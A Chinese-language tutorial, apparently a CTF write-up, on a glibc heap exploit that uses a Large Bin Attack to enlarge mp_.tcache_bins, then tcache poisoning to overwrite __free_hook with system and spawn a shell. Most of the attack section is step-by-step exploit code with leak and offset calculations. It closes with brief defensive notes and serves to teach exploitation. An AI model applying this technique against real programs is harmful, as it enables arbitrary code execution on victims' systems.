Tcache Attack之攻击mp_.tcache_bins技术分析
漏洞原理
Large Bin Attack基础
Large Bin Attack是一种利用glibc中large bin管理机制的漏洞攻击技术。关键点在于large bin链表中对fd_nextsize和bk_nextsize指针缺乏完整性检查。
在glibc的malloc.c中,当将unsorted bin中的堆块放入large bin链表时,存在以下关键代码:
victim_index = largebin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck) {
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert(chunk_main_arena(bck->bk));
if ((unsigned long)(size) < (unsigned long)chunksize_nomask(bck->bk)) {
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
}
这段代码的问题在于:
- 虽然对
fd和bk进行了双向链表检查,但没有对fd_nextsize和bk_nextsize进行完整性检查 - 攻击者可以控制
bk_nextsize指针,导致在特定条件下可以向任意地址写入一个堆地址
mp_.tcache_bins的作用
mp_.tcache_bins是glibc中的一个全局变量,作用类似于global_max_fast,它决定了哪些大小的chunk会被放入tcache中处理。当我们将mp_.tcache_bins改成一个很大的值后,几乎所有释放的堆块都会被当作tcache来处理,从而可以进行任意地址分配。
攻击条件
要成功实施这种攻击,需要满足以下两个条件:
- 可以申请large bin大小的堆块(通常大于0x400字节)
- 存在UAF(Use After Free)漏洞,能够修改已释放堆块的内容
攻击步骤详解
1. 泄漏密钥和libc基址
add(0, 0x460, "\n")
ru("Save ID:")
key = uu64(r(8))
leak("key", key)
首先申请一个large bin大小的堆块,然后通过程序输出泄漏加密密钥。
add(1, 0x450, "\n")
add(2, 0x450, "\n")
free(0)
recover(0)
show(0)
ru("Pwd is: ")
libc_base = (u64(r(8)) ^ key) - (0x7f4eed4e1b80-0x7f4eed2f5000) - 106
leak("base = ", libc_base)
然后通过UAF泄漏libc基址,这里利用了堆块被释放到unsorted bin后会包含main_arena地址的特性。
2. 准备Large Bin Attack
add(3, 0x600, "\n") # 将chunk 0放入largebin中
申请一个更大的堆块,触发unsorted bin中的chunk被分类到large bin。
3. 计算关键地址
mp_ = libc_base + 0x1EC280
leak("mp_ = ", mp_)
tcache_max_bins = mp_+80
free_hook = libc_base+libc.sym["__free_hook"]
system = libc_base+libc.sym["system"]
计算mp_.tcache_bins、__free_hook和system的地址。
4. 实施Large Bin Attack
free(2)
recover(2) # 将chunk 2放入unsorted bin中
edit(0, p64(0)*3 + p64(tcache_max_bins-0x20)) # 修改chunk 0的bk_nextsize
add(4, 0x600, "\n") # 触发漏洞,向tcache_max_bins写入堆地址
通过修改large bin chunk的bk_nextsize,然后申请一个大堆块触发漏洞,将mp_.tcache_bins改成一个很大的值。
5. 利用修改后的tcache机制
free(1)
free(2)
recover(2) # large bin大小范围的chunk 1、2被释放也会放到tcache bin中
edit(2, p64(free_hook)) # 利用UAF修改tcache的fd指针
现在由于mp_.tcache_bins被改大,large bin大小的chunk也会进入tcache,可以像操作tcache一样修改fd指针。
6. 获取shell
add(1, 0x450, '\n') # 从tcache中分配,实际获取free_hook
add(2, 0x450, '\n') # 再次分配
edit(2, p64(system)) # 向free_hook写入system地址
edit(1, b'/bin/sh\x00') # 写入/bin/sh字符串
free(1) # 触发system("/bin/sh")
防御措施
- 及时更新glibc版本,新版本中已经修复了这类漏洞
- 避免在程序中使用UAF漏洞
- 使用堆保护机制如GOT表保护、堆cookie等
- 对用户输入进行严格验证,防止堆溢出
总结
这种攻击方式结合了Large Bin Attack和tcache机制的特性,通过修改关键全局变量mp_.tcache_bins来扩大攻击面,最终实现任意代码执行。理解这种攻击方式有助于我们更好地设计安全的堆管理机制和编写安全的代码。